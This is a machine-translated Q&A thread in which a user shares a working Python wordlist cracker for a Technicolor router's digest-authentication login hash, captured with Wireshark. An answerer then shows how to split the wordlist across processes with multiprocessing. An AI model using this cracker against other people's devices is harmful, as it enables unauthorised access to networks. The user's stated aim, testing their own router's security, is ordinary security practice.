2015-10-31 3 views
0

Я изучаю Python в свое свободное время в течение небольшого количества времени, и я поставил перед собой задачу создать взломщик паролей для очень конкретной задачи, чтобы проверить, насколько эффективна безопасность на моем ADSL-маршрутизатор был (не очень) - используя Wireshark, я вполне мог понять, как он хэширует пароль через http, и я разработал некоторый код для выполнения атаки в wordlist. (Прошу прощения, если вы считаете, что мой код плохо написан - вы, вероятно, будете правы!).Python Multiprocessing password cracker

#!/usr/bin/env python 

import hashlib, os, time, math 
from hashlib import md5 

def screen_clear(): 
    if os.name == 'nt': 
     return os.system('cls') 
    else: 
     return os.system('clear') 

screen_clear() 

print "" 
print "Welcome to the Technicolor md5 cracker" 
print "" 

user = raw_input("Username: ") 
print "" 
nonce = raw_input("Nonce: ") 
print "" 
hash = raw_input("Hash: ") 
print "" 
file = raw_input("Wordlist: ") 
print "" 

realm = "Technicolor Gateway" 
qop = "auth" 
uri = "/login.lp" 

HA2 = md5("GET" + ":" + uri).hexdigest() 

wordlist = open(file, 'r') 

time1 = time.time() 

for word in wordlist: 
    pwd = word.replace("\n","") 
    HA1 = md5(user + ":" + realm + ":" + pwd).hexdigest() 
    hidepw = md5(HA1 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2).hexdigest() 
    if hidepw == hash: 
     screen_clear() 
     time2 = time.time() 
     timetotal = math.ceil(time2 - time1) 
     print pwd + " = " + hidepw + " (in " + str(timetotal) + " seconds)" 
     print "" 
     end = raw_input("hit enter to exit") 
     exit() 

wordlist.close() 

screen_clear() 
time2 = time.time() 
totaltime = math.ceil(time2 - time1) 
print "Sorry, out of " + str(tested) + " passwords tested, your password was not found (in " + str(totaltime) + " seconds)" 
print "" 
end = raw_input("hit enter to exit") 
screen_clear() 
exit() 

Это работает достаточно хорошо, но оставил меня желать большего, так что я мог бы добавить MultiProcessing силу к нему, чтобы ускорить процесс - используя различные различные инструкции и руководства, мне не удалось закончить с успешным результатом ! (хотя чувство, что я был очень близко)

Пожалуйста, кто-нибудь может указать мне на «Руководство для идиотов по многоядерному взлому паролей python» или помочь мне изменить мой код.

P.S. мой первоначальный план состоял в том, чтобы использовать opencl или cuda ... но я быстро узнал, как из моей глубины я был!

ответ

1

Я сделал для вас пример, который следует относительно легко добавить в ваш код. Вот как это работает; Во-первых, нам нужно затормозить wordlist в управляемые куски, которые мы можем выбросить в многопроцессорный модуль. Я делаю это, создавая список со словарем «start» и «stopping» points. Затем я передаю эти аргументы в apply_async, который, в свою очередь, запустит функцию pwd_find. Это функция, которую вы хотите добавить в цикл for word in wordlist:, но с начальной и конечной точкой (см. Код ниже).

from multiprocessing import Pool 
import math 
import time 

cores = 4 # Number of cores to use 
wordlist = [] 

for i in range(127): # Remove this for your own word list. 
    wordlist.append(str(i)) # Creates a large 'word' list for testing. 

def pwd_find(start, stop): 

    for word in range(start, stop): 
     print(wordlist[word]) 
     time.sleep(0.1) # Slows things down so it's easier to see that your system is using more than one core. 
     ### Add your code here... ### 


break_points = [] # List that will have start and stopping points 
for i in range(cores): # Creates start and stopping points based on length of word list 
    break_points.append({"start":math.ceil(len(wordlist)/cores * i), "stop":math.ceil(len(wordlist)/cores * (i + 1))}) 

if __name__ == '__main__': # Added this because the multiprocessor module acts funny without it. 

    p = Pool(cores) # Number of processors to utilize. 
    for i in break_points: # Cycles though the breakpoints list created above. 
     print(i) # shows the start and stop points. 
     a = p.apply_async(pwd_find, kwds=i, args=tuple()) # This will start the separate processes. 
    print("Done!") 
    p.close() 
    p.join() 

Если ваш код находит совпадение, добавьте p.terminate затем p.join убить процессоры.

Если вы хотите больше узнать о многопроцессорном модуле, go here, чтобы узнать больше.

Надеюсь, это поможет вам или, по крайней мере, даст вам лучшее представление о многопроцессорности!

+0

Что вы очень за подробный ответ, из-за трудовых обязательств, у меня не было времени вернуться домой, чтобы попробовать это, я обязательно сообщу о своем успехе по возвращении! – Andy

+0

Провел вечер, когда мой код работал, и теперь он дает мне правильный ответ (теперь сравним, чтобы узнать, насколько он быстрее)! спасибо за вашу помощь - вы объяснили, что для меня еще нужно подумать! одна из проблем заключалась в том, что в словаре содержался float с целым числом (легко решался), но мне потребовалось некоторое время, чтобы выяснить, как выводить какую-либо ошибку из процессов apply_async (print (a.get())) - все это было очень Интересно, и я, конечно, многому научился – Andy

+0

Просто для того, чтобы следить за этим, это всего лишь половину времени, необходимого для запуска всего слова «rockyou.txt» на моем гиперпоточном двухъядерном ноутбуке! Фантастика. – Andy